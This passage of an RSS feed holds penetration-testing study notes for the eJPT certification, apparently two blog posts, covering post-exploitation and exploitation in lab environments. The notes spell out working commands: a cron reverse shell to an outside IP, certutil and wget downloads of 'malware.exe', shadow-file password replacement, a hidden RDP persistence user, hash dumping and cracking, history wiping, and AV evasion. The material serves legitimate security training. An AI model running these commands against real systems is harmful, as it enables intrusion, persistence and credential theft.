Windows Script). JAWS is a PowerShell script that it designed to help penetration testers to quickly identify potential privilege escalation vectors on Windows system. It should run on every Windows version since Windows 7. You can view the GitHub repository <a href="https://github.com/411Hall/JAWS">here</a>.</p><p>In this case, WinRM is running, and we will exploit this service using the credentials we have been provided with. By using the Metasploit module winrm_script_exec, this will automatically migrate the process to a more stable one.</p><p>Once we have a meterpreter session, we can put in the background and use the following modules to automate some of the post-exploitation commands that we ran previously:</p><ul><li>win_privs<br>Displays what privileges we have, as well as other useful information</li><li>enum_logged_on_user<br>Shows all the logged-on users via the Windows registry</li><li>checkvm<br>Checks whether the system is running bare or as a virtual machine</li><li>enum_applications<br>Displays all the installed applications on the target system</li><li>enum_computers<br>Shows all the computers that are connected within an internal network</li><li>enum_patches<br>Lists out all the installed patches or hotfixes</li><li>enum_shares<br>Lists out the SMB shares within that environment</li></ul><p>Now to use JAWS, we have to clone the GitHub repository or copy the PowerShell script. Once we have the PowerShell script, we can open up our meterpreter session and navigate to the C Drive. It is always recommended to upload any files to the Temp directory (if it doesn’t exist, you can make it). Then use the built-in meterpreter command upload to upload the file using its file path.</p><p>Now that the PowerShell script is on the target system, to run it, we can use this command:</p><pre>powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt</pre><p>This will gather all the information that we have gone through as well as other information. We can then download the text file to our system to analyse it.</p><h3>Linux Enumeration</h3><h4>System Information</h4><p>What are we looking for?</p><ul><li>Hostname</li><li>Distribution &amp; distribution release version</li><li>Kernel version &amp; architecture</li><li>CPU information</li><li>Disk information &amp; mounted drives</li><li>Installed packages or software</li></ul><p>Within a Linux shell, we can run the following commands:</p><ol><li>hostname</li><li>cat /etc/issue* - all information with regards to the distribution version</li><li>cat /etc/*release - distribution name and release version</li><li>uname -a - hostname, kernel version and kernel architecture</li><li>env - displays the environment variables for the current user</li><li>lscpu - all CPU information</li><li>free -h - shows how much RAM is being consumed</li><li>df -h - displays a list of file systems or drives</li><li>df -ht ext4 - to specify certain file extensions</li><li>lsblk | grep sd - shows all the storage devices and their configuration or partitions</li><li>dpkg -l - lists all the installed packages</li></ol><h3>Users &amp; Groups</h3><p>What are we looking for?</p><ul><li>Current user and privileges</li><li>Other users on the system</li><li>Groups</li></ul><p>Within a Linux shell, we can run the following commands:</p><ol><li>whoami - current user</li><li>groups - lists all the groups</li><li>groups username - see what groups the username is a part of</li><li>cat /etc/passwd - displays both user and service accounts</li><li>cat /etc/passwd | -v /nologin - only displays user accounts</li><li>w or who - displays all the current users on the system</li><li>last - only displays legitimate logons</li><li>lastlog - all the users and whether they are logged on or not</li></ol><h3>Network Information</h3><p>What are we looking for?</p><ul><li>Current IP address &amp; network adapter</li><li>Internal networks</li><li>TCP or UDP services running and their ports</li><li>Other hosts on the network</li></ul><p>Within a Linux shell, we can run the following commands:</p><ol><li>ifconfig or ip a s - displays all the interfaces or adapters</li><li>cat /etc/networks - displays a list of interfaces and their configurations</li><li>cat /etc/hostname - hostname</li><li>cat /etc/hosts - lists all the hosts and their respective IP addresses</li><li>cat /etc/resolve.conf - displays DNS information</li><li>arp -a - Displays the ARP table (other systems connected to the network)</li></ol><p>Note that if the arp -a command doesn&#39;t work, you can run arp within meterpreter.</p><h3>Processes &amp; Cron Jobs</h3><p>What are we looking for?</p><ul><li>Running services</li><li>Cron jobs</li></ul><p>Within a Linux shell, we can run the following commands:</p><ol><li>ps or ps aux or top - List the processes on the system</li><li>crontab -l or ls -al /etc/cron* or cat /etc/cron* - Displays a list of the Cron jobs</li></ol><h3>Automating Local Enumeration</h3><p>We can automate the process with the help of a few scripts and Metasploit modules.</p><p>In this case, we will use a script called LinEnum which is a simple bash script that automates common Linux local enumeration checks in addition to identifying privilege escalation. You can view the GitHub repository <a href="https://github.com/rebootuser/LinEnum">here</a>.</p><p>Once we have a meterpreter session, we can put in the background and use the following modules to automate some of the post-exploitation commands that we ran previously:</p><ul><li>enum_configs<br>Gathers all Linux configuration files</li><li>enum_network<br>Enumerates network information</li><li>enum_system<br>Gathers system and user information as well as installed packages &amp; Cron jobs</li><li>checkvm<br>Checks whether the target system is a virtual machine</li></ul><p>To use the LinEnum script, first navigate to the /tmp directory. You can then clone or copy the script to the target system. Note that before you can execute it, you will have to provide it with executable permissions (chmod +x <a href="http://linenum.sh/">LinEnum.sh</a>).</p><h3>Transferring Files</h3><h3>Web Server with Python</h3><p>After obtaining initial access, you will need to transfer files to the target system. You can either do this via a meterpreter session or you could set up a Python web server and then connect to it using the target system and download those files.</p><p>Python comes with a built-in module known as SimpleHTTPServer for Python 2 and http.server for Python 3. These can be used to facilitate a basic and simple HTTP server to host your files.</p><pre># For Python 2:<br>python -m SimpleHTTPServer 80<br><br># For Python 3:<br>python3 -m http.server 80</pre><h3>Windows Targets</h3><p>Once again, whenever you are transferring files onto the target system, do it within the Temp directory. Once you have a shell, you can run the following command to download the file that you&#39;d like to:</p><pre>certutil -urlcache -f http://your_ip/malware.exe malware.exe</pre><h3>Linux Targets</h3><p>Once you have a Linux shell, you can upload files to the system using the following command:</p><pre>wget http://your_ip/malware.exe</pre><h3>Upgrading Shells</h3><p>This is only really pertinent to Linux post-exploitation. You sometimes get a non-interactive shell as you are not provided with a prompt. The method of upgrading this to an interactive shell that we have looked at so far, is to run /bin/bash -i. However, this will only work if bash is installed on the system.</p><p>You can determine what shells are on the system via cat /etc/shells. Based on the shells that have been installed, you can determine what shell you&#39;d like to use - although bash is the best.</p><p>Another method is to first identify whether Python has been installed. You can check by running python — version. If it is installed, you can run the following command to get a bash session:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Alternatively, if Perl or Ruby is installed, you can run the following commands:</p><pre>perl: exec &quot;/bin/bash&quot;<br>ruby: exec &quot;/bin/bash&quot;;</pre><p>After obtaining an interactive bash session, it’s recommended to check your environment variables which you can do so by running env. If the PATH environment is not specified, then you should set it up. It&#39;s used to specify the default path that is used to search for a binary when you type in a command. You can set it up with the following command:</p><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</pre><p>You can also set up the TERM and SHELL environment variables:</p><pre>export TERM=xterm<br>export SHELL=bash</pre><h3>Privilege Escalation</h3><h3>Windows</h3><p>In order to elevate your privileges, you need to first identify privilege escalation vulnerabilities that exist on the target system. This process will differ greatly based on the type of target you gain access to as well as the system’s configuration.</p><p>This process can be quite tedious and time consuming and it’s recommended to automate this process which can be done via various automation scripts. In this case, we’ll look at PrivescCheck. This is a PowerShell script that aims to enumerate common Windows configuration issues and gathers various information that might be useful for exploitation, post-exploitation and privilege escalation. You can view the GitHub repository <a href="https://github.com/itm4n/PrivescCheck">here</a>.</p><p>In this case, the target system doesn’t have any open ports. We will use the Metasploit module called web_delivery. This exploit module sets up a web server hosting a payload based on the target operating system. It then generates some PowerShell code (because we are targeting Windows) which we can then run on our target system. This will download the payload that is being hosted on the web server giving us a command shell on the target system.</p><p>Note that you need to set up the following options correctly:</p><pre>set target PSH\ (Binary)<br>set payload windows/shell/reverse_tcp<br>set PSH-EncodedCommand false<br>set LHOST eth1<br>set LPORT 1234</pre><p>Then copy the PowerShell code that has been generated into the command prompt on the target system and you should have a command shell session.</p><p>Once we have upgraded our shell to a meterpreter session, we can navigate to the Desktop where the PrivescCheck folder is located. We can then open up another shell and run the following command to run PrivescCheck:</p><pre>powershell -ep bypass -c &quot;. .\PrivescCheck.ps1; Invoke-PrivescCheck&quot;</pre><p>From the results, we have obtained the administrator credentials. However, no ports are open (so RDP is not open either) so how can we use them?</p><p>Every Windows system will have SMB running, we can use the Python PsExec script to logon to the system via PsExec. We can do so using the following command:</p><pre>psexec.py Administrator@target_IP</pre><p>You can also do this within Metasploit using the psexec module.</p><h3>Linux</h3><p>To automate privilege escalation, we can use the LinEnum script, which we have already covered. You can view the GitHub repository <a href="https://github.com/rebootuser/LinEnum">here</a>.</p><h3>Weak Permissions</h3><p>To identify files with weak permissions, we can run the following command:</p><pre>find / -not -type l -perm -o+w</pre><p>From the results, we can see that we can view the /etc/shadow file. Now, we cannot view the password for the root user, as it&#39;s hashed. But, since we have access to this file, we can change the password for the root user. However, when making changes to the shadow file, we will have to replace the password with a hashed password. We can generate a password using OpenSSL using the following command:</p><pre>openssl passwd -1 -salt abc password</pre><p>All we have to do now, is to replace the Asterix between the two colons with the string that is generated. We can then type in su to upgrade our privileges.</p><h3>SUDO Privileges</h3><p>To see what binaries we can run, type in sudo -l. It shows us that we can run the following binary /usr/bin/man. This is essentially what you use to look up the documentation for tools like Nmap. If the man utility has been configured improperly (like in this case where no password has been set) it can be a goldmine for privilege escalation.</p><p>In this case, since no password has been set, we can run the binary with sudo permissions. For example, sudo man ls. Since we have run the man utility with root privileges, whatever we execute within the man pages will be executed with root privileges. We can spawn a bash session with ! /bin/bash.</p><h3>Persistence</h3><p>Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials and other interruptions that could cut off their access. The persistence technique you use will need to be in accordance with the rules of of engagement laid out and agreed upon with the client.</p><p>MITRE ATT&amp;CK has a good page which shows the different techniques of persistence. You can view it <a href="https://attack.mitre.org/tactics/TA0003/">here</a>.</p><h3>Windows{Persistence}</h3><h4>Via Services</h4><p>In this case, we will use a Metasploit module called persistence_service. Just note that you will need administrator privileges to run this.</p><p>The module will generate a payload with msfvenom which will then be uploaded to the target system. It will make it a persistent service and to create a service, you require administrator privileges. You can select a SERVICE_NAME for the service to disguise it.</p><p>We can then set up a multi handler within Metasploit. We then set the payload to the one that you used within the persistence module. You also need to set up the same listening port to receive the connection.</p><h3>Via RDP</h3><p>Once you have a meterpreter session, you need to migrate to a stable process (like explorer). You will also need administrator privileges.</p><p>We can run the following command to check whether RDP is enabled and if it isn’t, it will enable it. It will hide the user from the user login page and add them to the RDP and administrator group. Additionally, it will create a new user and set their password.</p><pre>run getgui -e -u test -p password123</pre><p>We can then connect to the target via xfreerdp for example.</p><pre>xfreerdp /u:test /p:password123 /v:target_ip</pre><h3>Linux{Persistence}</h3><h4>Via SSH Keys</h4><p>Linux is typically deployed as a server operating system and so SSH is normally enabled. In most cases, Linux servers will have key-based authentication enabled for the SSH service, allowing users to access the Linux system remotely without the need for a password.</p><p>After gaining access to the system, we can transfer the SSH private key of a specific user account to our system and use that SSH private key for all future authentication and access. You could also generate a new private key and then transfer that.</p><p>In this lab, there is a binary called wait. Once we have planted our backdoor, the we will delete this file which will trigger the student account&#39;s password to be reset. The id_rsa is the private key from the SSH key pair. To copy this file onto our system, we can use the following command:</p><p>we can use the following command:</p><pre>scp student@target_ip:~/.ssh/id_rsa .</pre><p>We can now remove the binary wait, which will change the password. This will prevent us logging in via SSH using the password. Note that before logging in, we have to change the permissions of the id_rsa file (chmod 400 id_rsa) as otherwise it will not work.</p><p>We can login using the private key using the following command:</p><pre>ssh -i id_rsa student@target_ip</pre><p>Note that this would not normally be what you do. Normally, you would generate an SSH key pair on your system and keep the private key. You would transfer the public key to the target system under that user account within the SSH directory and then add it under authorized keys.</p><h3>Via Cron Jobs</h3><p>Cron jobs are like scheduled tasks on Windows. We have discussed them before. We can enumerate the Cron jobs running using cat /etc/cron*. To create a Cron job, we can run the following command:</p><pre>echo &quot;* * * * * /bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.217.46.2/1234 0&gt;&amp;1&#39;&quot; &gt; cron</pre><p>To then add it as a Cron job, we can run:</p><pre>crontab -i cron<br>crontab -l</pre><p>We can now set up a Netcat listener to receive the connection from the Cron job using the port we specified (in this case, it’s port 1234).</p><h3>Dumping &amp; Cracking Hashes</h3><p>We have covered some of the notes for this section<a href="https://medium.com/@dharmendrastm/ejpt-3-1-system-host-based-attacks-956cfbe914bb"> here.</a></p><h3>Windows</h3><p>Once you have a meterpreter session, you can dump the hashes using the command hashdump. Then copy the hashes and paste them into a new text file, using nano or vim.</p><h3>John The Ripper</h3><p>We can utilise this tool to crack the NTLM hashes. We can run the following command:</p><pre>john --format=NT hashes.txt</pre><p>In this case, we are using the default wordlist but note that you can add a wordlist if you want to.</p><pre>john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><pre># Note that you may have to unzip the wordlist first:<br>gzip -d /usr/share/wordlists/rockyou.txt.gz</pre><h4>Hashcat</h4><p>We can also utilise this tool to crack hashes. We can run the following command:</p><pre>hashcat -a3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt</pre><p>Note that you will need to refer to the documentation to run other commands as you have to specify options via their ID.</p><h4>Metasploit</h4><pre>creds<br>use auxiliary/analyze/crack_windows<br>set CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt<br>run</pre><h3>Linux</h3><p>To view the contents of the /etc/shadow file, you have to have root privileges. You can then copy the contents of it or use the Metasploit module hashdump to get the hash for the root user.</p><h4>John The Ripper</h4><p>We can then use John to brute force and crack the password with the following command:</p><pre>john --format=sha512crypt /root/.msf4/loot/20250705163718_default_192.227.196.3_linux.hashes_445145.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p>Note that you can just create your own file of the hash by copying it from the /etc/shadow file if you do not want to run the Metasploit module to get it.</p><h4>Hashcat</h4><p>To crack the hash with Hashcat, we can run the following command:</p><pre>hashcat -a3 -m 1800 /root/.msf4/loot/20250705163718_default_192.227.196.3_linux.hashes_445145.txt /usr/share/wordlists/rockyou.txt</pre><h3>Pivoting</h3><p>We have covered some of the notes for this <a href="https://dharmendrastm.medium.com/ejpt-3-2-network-based-attacks-6f0d4d41b455">here</a> and <a href="http://medium.com/@dharmendrastm/ejpt-3-3-the-metasploit-framework-24439d1238c5">here.</a></p><p>Once you have exploited the first target, we need to add a route to access target 2 via target 1. Note that you should run the following command from within your meterpreter session:</p><pre>run autoroute -s subnet_ip/20</pre><p>We can then scan the internal network using the portscan/tcp module within Metasploit. To identify the exact service version, we can use Nmap if we perform port forwarding. We can run the following command to do so (just do it within meterpreter):</p><pre>portfwd add -l 1234 -p scanning_port -r target_ip</pre><p>We can then run Nmap in our normal terminal on the listening port on the <a href="http://localhost/">localhost</a> to find out the exact version that is running. When exploiting the service, make sure you use the bind_tcp payload rather than the reverse_tcp one.</p><pre>sudo nmap -p 1234 localhost</pre><h3>Clearing Your Tracks</h3><p>During exploitation and post-exploitation, you will be interacting with the target systems. As a result, you may need to clear or undo any changes you have made to the target systems you have compromised based on the guidelines specified in the rules of engagement.</p><p>If you have transferred any files to the target system, transfer them to the temp directory - and if you choose to transfer them somewhere else, then note those locations down so you can remove them when you are done.</p><p>Metasploit will generally generate and store artifacts on the target system. Just note those locations if you need to delete them manually. Some modules will generate some resource scripts (RC) that you can run to delete those files.</p><p>In the context of Windows, a typical post-exploitation technique would be to delete the Windows Event Log, but it should be avoided during a penetration test as the Windows Event Log stores a lot of data that is important to the client you are performing the penetration test for.</p><h3>Windows</h3><p>As mentioned before, it is always recommended to store all your files on the temp directory. If you have used a Metasploit module, you can use the RC script to clean up. You can run it on the target system with the following command within meterpreter:</p><pre>resource resource_script_file_path</pre><p>You can run clearev within meterpreter but this will clear all the Event Logs on the target system which is not recommended.</p><h3>Linux</h3><p>Again, it’s important to store into your artefacts and files within the tmp directory. You can also use RC scripts for clean-up.</p><p>Within the root directory, you will normally find a bash history file (.bash_history). You can view the commands you have entered within your session by typing out history. It&#39;s not recommended to delete the bash history file, but you can delete suspicious commands. To clear the history, you can type in history -c.</p><pre>history -c<br>cat /dev/null &gt; ~/.bash_history</pre><p><strong>Thankyou for Reading!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ae5db04ef11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 3.4 Exploitation]]></title>
            <link>https://dharmstm.medium.com/ejpt-3-4-exploitation-d68f291951c8?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d68f291951c8</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[linux-exploitation]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[windows-exploitation]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Thu, 23 Oct 2025 19:03:59 GMT</pubDate>
            <atom:updated>2025-10-23T19:03:59.342Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 3.4 Exploitation</h3><p>Hii all!</p><p>Welcome to our eJPT — 3.4 Exploitation theory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DfFF60zn4v1cZMsn" /></figure><h3>Topics:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aeo3hYLbl2bMhZlM" /></figure><h4>Introduction</h4><p>Exploitation consists of techniques and tools used by adversaries / penetration testers to gain an initial foothold on a target system or network. You can only exploit a target if you know what is vulnerable.</p><p>Exploitation methodology:</p><ul><li>Identify vulnerable services</li><li>Identify and prepare exploit code</li><li>Gaining access</li><li>Obtain remote on target system</li><li>Bypass AV (Anti-Virus) detection</li><li>Pivot onto other systems</li></ul><h4>Vulnerability Scanning</h4><h4>Banner Grabbing</h4><p>This is an information gathering technique used by penetration testers to enumerate information regarding the target operating system as well as the services that are running on its open ports. The primary objective is to identify the service running on a specific port as well as its version.</p><p>Banner grabbing can be performed through various techniques:</p><ul><li>A service version detection scan with Nmap</li><li>Connecting to the open port with Netcat</li><li>Authenticating to the service (SSH, FTP, Telnet, etc.)</li></ul><p>There is a very good Nmap script for banner grabbing called banner. Can sometimes be useful but not always necessary as most of the time the service detection Nmap scan gives you the same information.</p><p>We can use Netcat by running the following command followed by the port that you want to scan.</p><pre>nc 10.10.10.10 (target_ip) 80 (target_port)</pre><h4>Nmap Scripts</h4><p>Nmap scripts are located at /usr/share/nmap/scripts/. View some of the notes for this section <a href="https://hmadsec.hashnode.dev/ejpt-12-footprinting-and-scanning#heading-nmap-scripting-engine-nse">here</a></p><p>As an example, we can use the shellshock script in this case with the following command.</p><pre><br>nmap -sV -p 80 --script=http-shellshock --script-args= &quot;http-shellshock.uri=/gettime.cgi&quot; 10.10.10.10</pre><h4>Scanning with Metasploit</h4><p>We covered Metasploit in depth (including port scanning, enumeration, exploitation and post-exploitation) in the two previous blog posts. <a href="https://medium.com/@dharmendrastm/ejpt-3-3-the-metasploit-framework-24439d1238c5">Click here </a>.</p><h4>Exploits</h4><p>After identifying a potential vulnerability within a target or a service running on a target, the next step is to find an exploit to exploit the vulnerability. It is important to note that downloading and running exploit code against a target can be quite dangerous. It is therefore recommended to analyse the exploit code closely to ensure that it works as intended. You can also use GitHub as long you are sure, nothing malicious is happening in the background.</p><p>There are a handful of legitimate and vetted exploit databases such as:</p><ul><li><a href="https://www.exploit-db.com/">Exploit Database</a></li><li><a href="https://www.rapid7.com/db/">Rapid 7 Database</a></li></ul><h4>SearchSploit</h4><p>The entire Exploit Database comes pre-packaged with Kali providing you with all the exploits locally and you can search or query them with SearchSploit.</p><p>The exploits are located at /usr/share/exploitdb. It&#39;s important to note that you need to keep SearchSploit updated to have the latest exploits which we can do with -u. We can download the exploit using the exploit IDs using -m. To perform a case sensitive search, use the flag -c. You can use -e to perform an exact search.</p><p>Note — to get the links to the exploit online, use the -w option.</p><h4>Fixing Exploits</h4><p>Once you have downloaded an exploit, make sure to read through the code to edit the options which you need to set. You have to follow the directions mentioned to ensure that the exploit works.</p><h4>Compiling Exploits</h4><p>In certain cases, exploit code will be developed in C/C++/C# and therefore we will need to compile the exploit code to a portable executable (PE) or binary.</p><p>Cross-compiling is the process of compiling code for a platform other than the one performing the compilation. As in compiling a file for a target system (e.g. using a Kali Linux machine to compile an exploit for a Windows machine).</p><p>To compile code for a Windows machine, you will need a few tools. One of them is called Mingw-w64 which is a development environment to create Microsoft PE applications. We can download it one Linux using the following command:</p><pre>sudo apt-get install mingw-w64</pre><p>In terms of compiling, you can compile a 32-bit or a 64-bit file. Highly recommended to compile a 32-bit file as this will work on both systems. Once you have downloaded the code, we will compile the exploit as a 64-bit file:</p><pre>i686-w64-mingw32-gcc 9303.c (exploit_id) -o exploit</pre><p>To now compile for 32-bit systems:</p><pre>i686-w64-mingw32-gcc 9303.c (exploit_id) -o exploit -lws2_32</pre><p>For Linux, you will require having the GNU compiler installed:</p><pre>sudo apt-get install gcc</pre><p>To compile the exploit code for Linux:</p><pre>gcc -pthread 40839.c -o exploit -lcrypt</pre><p>A very useful resource is the GitHub repository by OffSec. It contains a list of pre-compiled binaries (mainly Windows). You can view it on GitLab <a href="https://gitlab.com/exploit-database/exploitdb-bin-sploits">here</a>.</p><h4>Bind &amp; Reverse Shells</h4><h4>Netcat Fundamentals</h4><p>Netcat is a networking utility used to read and write data to network connections using TCP/UDP. You can use it for cross-platform engagements. It utilizes a client-server communication architecture with two modes:</p><ol><li>Client mode — to connect to any TCP/UDP port as well as a Netcat listener</li><li>Server mode — to listen for connections form clients on a specific port</li></ol><p>It can be used to perform the following functionality:</p><ul><li>Banner grabbing</li><li>Port scanning</li><li>Transferring files</li><li>Bind or reverse shells</li></ul><p>By default, Netcat will use TCP ports — to use UDP ports, use the option -u.</p><p>To run Netcat as a listener on a Windows system, we can transfer the Netcat executable which can be found on our system (/usr/share/windows-binaries) in 2 ways. Firstly, we need to host the file on a web server which we have looked at previously.</p><pre>python -m SimpleHTTPServer 80<br>python3 -m simple.http 80</pre><p>Then we can either download it via a web browser or via the command prompt on the target system.</p><pre>certutil -urlcache -f http://10.10.10.10/nc.exe nc.exe</pre><p>We can now setup a listener on our machine. We can utilize the target machine to connect to the listener. This is just a proof of concept to prove that the Netcat listener works.</p><p>To transfer files with Netcat, you need have a listener that will receive the file/s.</p><pre># To set up the listener (destination of the file)<br>nc -nlvp 1234 &gt; test.txt</pre><pre># To transfer the file (where you are sending the file from)<br>nc -nv 10.10.10.10 (ip_listener) 1234 &lt; test.txt</pre><h4>Bind Shells</h4><p>A bind shell is a type of remote shell where the attacker connects directly to listener on the target system, consequently allowing for execution of commands on the target system. However, this is not recommended as we will require access to the target already and that inbound traffic to the target is likely to be blocked or filtered by a firewall.</p><p>A Netcat listener can be setup to execute a specific executable when a client connects to the listener. The -e option is typically used to specify a shell. For Linux systems, we can execute a shell using the -c option.</p><h4>Reverse Shells</h4><p>Reverse shells are much better than bind shells as we need to set up a Netcat listener on the target system which is not possible if we don’t have access to the target system. Another reason is that inbound traffic to a system is generally blocked or filtered by a firewall which means that a bind shell will likely fail. With a reverse shell, traffic is normally not blocked as it’s outbound traffic.</p><p>To obtain a reverse connection, the target system needs to connect to our listener for us to gain a reverse shell. One of the disadvantages of a reverse shell is that the target needs to connect to our machine which in turn means that the target will be connecting to our IP address and so if that connection is ever noted, then our IP address is leaked.</p><h4>Cheat Sheets</h4><p>There is a GitHub repository called <em>Payloads All The Things</em>. This is essentially a list of commands or code that can be used to connect back to our listener to get a reverse connection. You can view it on GitHub <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">here</a> or <a href="https://github.com/swisskyrepo/InternalAllTheThings/blob/main/docs/cheatsheets/shell-reverse-cheatsheet.md">here</a>.</p><p>Another useful resource is a Reverse Shell Generator which generates commands to use as well as msfvenom commands, etc. You can view the tool <a href="https://www.revshells.com/">here</a>.</p><h4>Power-Shell Empire</h4><p>This is an introduction to Power-Shell Empire. It’s a pure PowerShell exploitation or post-exploitation framework built on cryptological-secure communications and flexible architecture. It implements the ability to run PowerShell agents without needing powershell.exe. It&#39;s mostly used on Windows targets.</p><p>Starkiller is a GUI front-end for the PowerShell Empire. Its an Electron application written in VueJS. PowerShell Empire &amp; Starkiller are both available as packages in the Kali Linux repositories.</p><p>To start up the PowerShell Empire back-end server and the client</p><pre>sudo powershell-empire server<br>sudo powershell-empire client</pre><p>View the documentation <a href="https://bc-security.gitbook.io/empire-wiki">here</a> for further information. Another framework is Metasploit which we have covered in depth already.</p><h4>Exploitation</h4><h3>Windows Black Box Penetration Test</h3><p>This is a security assessment whereby the penetration tester is not provided with any information regarding the target system or network (i.e. no IP ranges, system information or default credentials) are provided.</p><p>The objective of a black box penetration test is to accurately test the security of a system or network as an external unprivileged adversary.</p><blockquote><strong><em>Scenario &amp; Scope</em></strong></blockquote><p>You have just begun your first job as a Junior Penetration Tester and have been assigned to assist in performing in performing a penetration test on a client’s network The pentest lead has assigned you to gain access / exploit a host running Windows Server 2008.</p><p>You are permitted to use the Metasploit Framework.</p><p>Your primary objectives are to:</p><ul><li>Identify services running on the target</li><li>Identify vulnerabilities within the services</li><li>Exploit these vulnerabilities to obtain an initial foothold</li></ul><blockquote><strong><em>Portscanning &amp; Enumeration</em></strong></blockquote><p>Since the lab is in the cloud, the easiest way to check to find the target IP address to check the hosts file (/etc/hosts) or you can ping demo.ine.local.</p><ol><li>Basic Nmap service version and OS detection scan to get a quick idea</li><li>Run an Nmap UDP port scan</li><li>Another Nmap scan (but more in depth and running Nmap scripts) and export it into an XML file to input into Metasploit</li><li>Perform some banner grabbing with Netcat</li></ol><blockquote><strong><em>Microsoft IIS FTP</em></strong></blockquote><p>Normally, the web application is accessible by ftp and ftp is used to login to that server. The first thing to do is to check if the ftp server allows anonymous login. We can do using the Nmap script ftp-anon or you could test it manually which in this case, it’s not enabled.</p><p>Next, we can perform a brute-force on the ftp server via Hydra to find some credentials. Once we are logged in, we can see that asp files are supported. What we could do now, is generate an asp payload using msfvenom to get a reverse shell.</p><blockquote><strong><em>OpenSSH</em></strong></blockquote><p>We can perform another brute-force with Hydra using the two user accounts to find out if those credentials work. We could also use the Metasploit module ssh_login to check or perform a brute-force.</p><blockquote><strong><em>SMB</em></strong></blockquote><p>We can use Hydra to brute-force credentials to login via SMB. We can then view shares using smbclient or smbmap. You can also use enum4linux to enumerate information or you can do so via Metasploit modules. You can use PsExec to authenticate with SMB and we will have a command prompt. We can also exploit SMB via the Eternal Blue vulnerability as the system is vulnerable.</p><blockquote><strong><em>MySQL</em></strong></blockquote><p>Again, we can perform a brute-force with Hydra or the Metasploit module (mysql_login). We can then view the information in the MySQL database server.</p><h3>Linux Black Box Penetration Test</h3><blockquote><strong><em>Scenario &amp; Scope</em></strong></blockquote><p>You have just begun your first job as a Junior Penetration Tester and have been assigned to assist in performing in performing a penetration test on a client’s network The pentest lead was pleased with your ability to gain access to the Windows Server target and has a assigned you to perform a pentest on a Linux server.</p><p>You are permitted to use the Metasploit Framework.</p><p>Your primary objectives are to:</p><ul><li>Identify services running on the target</li><li>Identify vulnerabilities within the services</li><li>Exploit these vulnerabilities to obtain an initial foothold</li></ul><blockquote><strong><em>Vsftpd</em></strong></blockquote><p>In this case, the system is running vsftpd 2.3.4 which we know has a vulnerability. However, it has been patched by the system administrator. Now, we can perform a brute-force attack using Hydra to get credentials. To narrow down the brute-force, let&#39;s see if we can see what user accounts are on the system. We can find out by exploiting the smtp service running on port 25.</p><p>There is a Metasploit module called smtp_enum which we can use to find out the user accounts. We can identify a user called service and then perform a brute-force. Now, login to the ftp server and then upload a php file to the WebDAV server.</p><blockquote><strong><em>PHP</em></strong></blockquote><p>One directory or file to check on an Apache server is the phpinfo.php file. There is a vulnerability for the PHP version that is running on the target. We can then edit the Python file to run a PHP command that will give us a reverse shell. Alternatively, we can use the Metasploit module.</p><blockquote><strong><em>SAMBA</em></strong></blockquote><p>Since our Nmap scan doesn’t give us the exact version of SAMBA running, we can use the Metasploit module called smb_version. We can run a SearchSploit command for that version for which there is an exploit module.</p><h3>AV Evasion &amp; Obfuscation</h3><h4>AV Evasion with Shellter</h4><p>Defence Evasion consists of techniques that adversaries use to avoid detection throughout their compromise.</p><p>Techniques used for defence include uninstalling or disabling security software or obfuscating or encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. (Taken from MITRE). Essentially, we’re trying to change the signature of a payload that we generate using msfvenom for example.</p><p>AV software will typically utilize signature, heuristic and behaviour-based detection.</p><ol><li><strong>Signature based detection: </strong>An AV signature is a unique sequence of bytes that uniquely identifies malware. As a result, you will have to ensure that your obfuscated exploit or payload doesn’t match any known signature in the AV database.</li><li><strong>Heuristic based detection:</strong> This relies on rules or decisions to determine whether a binary is malicious. It also looks for specific patterns within the code or program calls made by an executable.</li><li><strong>Behaviour based detection: </strong>This relies on identifying malware by monitoring it’s behaviour — which is generally used for newer strains of malware. This checks what the program does when it runs (i.e. does it access the Windows registry or anything else that it suspicious).</li></ol><h3>On-disk Evasion Techniques</h3><ul><li><strong>Obfuscation</strong> — the process of concealing something important, valuable or critical. Obfuscation reorganizes the code in order to make it harder to analyse or read.</li><li><strong>Encoding</strong> — the process involves changing data into a new format using a scheme (e.g. encoding into base 64). However, it’s a reversible process and can be decoded.</li><li><strong>Packing</strong> — involves generating an executable with a new binary structure with a a smaller size and therefore provides the payload with a new signature.</li><li><strong>Crypters</strong> — encrypts code or payloads and decrypts the encrypted code in memory. The decryption key is normally stored in a stub. This is one of the techniques that is used in new strains of ransomware.</li></ul><h3>In-memory Evasion Techniques</h3><ul><li>Focuses on manipulation of memory and doesn’t write files to disk</li><li>Injects payloads into a process by leveraging various Windows APIs</li><li>The payload is then executed in memory in a separate thread</li></ul><h3>Notes</h3><p>You can view the documentation and other information about Shellter <a href="https://www.shellterproject.com/homepage/">here</a>. To install Shellter, you can install it on Linux using the command below.</p><pre>sudo apt-get install shellter -y</pre><p>You need to note that Shellter is a Windows executable. To run a Windows executable on a Linux or Unix system (e.g. Mac) you need Wine (32-bit) which you can install using the commands below.</p><pre>sudo dpkg --add-architecture i386<br>sudo apt-get install 